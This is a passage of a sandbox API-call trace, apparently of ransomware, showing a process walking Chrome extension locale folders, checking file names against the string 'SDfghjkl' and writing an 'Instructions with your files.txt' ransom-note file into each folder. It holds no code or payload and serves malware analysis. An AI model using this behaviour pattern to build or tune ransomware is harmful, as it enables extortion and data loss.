[0128.950] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\.") returned 143
[0128.950] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.950] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\..") returned 144
[0128.950] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.950] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 155
[0128.950] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.950] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.950] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\Instructions with your files.txt") returned 174
[0128.950] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.950] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.951] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.951] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.951] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.951] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.951] CloseHandle (hObject=0x134) returned 1
[0128.952] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.952] GetProcessHeap () returned 0x810000
[0128.952] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.952] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0128.952] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned 141
[0128.952] GetProcessHeap () returned 0x810000
[0128.952] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.952] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*") returned 143
[0128.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.952] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\.") returned 143
[0128.952] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.952] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\..") returned 144
[0128.952] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.952] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 155
[0128.952] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.952] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.952] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\Instructions with your files.txt") returned 174
[0128.952] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.953] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.953] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.954] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.954] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.954] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.954] CloseHandle (hObject=0x134) returned 1
[0128.954] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.954] GetProcessHeap () returned 0x810000
[0128.954] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.954] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0128.954] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned 141
[0128.954] GetProcessHeap () returned 0x810000
[0128.954] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.954] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*") returned 143
[0128.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.955] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\.") returned 143
[0128.955] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.955] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\..") returned 144
[0128.955] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.955] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 155
[0128.955] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.955] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.955] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\Instructions with your files.txt") returned 174
[0128.955] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.956] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.956] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.957] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.957] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.957] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.957] CloseHandle (hObject=0x134) returned 1
[0128.957] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.957] GetProcessHeap () returned 0x810000
[0128.957] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.957] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0128.957] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned 141
[0128.957] GetProcessHeap () returned 0x810000
[0128.957] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.957] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*") returned 143
[0128.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.957] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\.") returned 143
[0128.957] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.958] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\..") returned 144
[0128.958] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.958] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 155
[0128.958] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.958] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.958] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\Instructions with your files.txt") returned 174
[0128.958] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.958] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.960] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.960] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
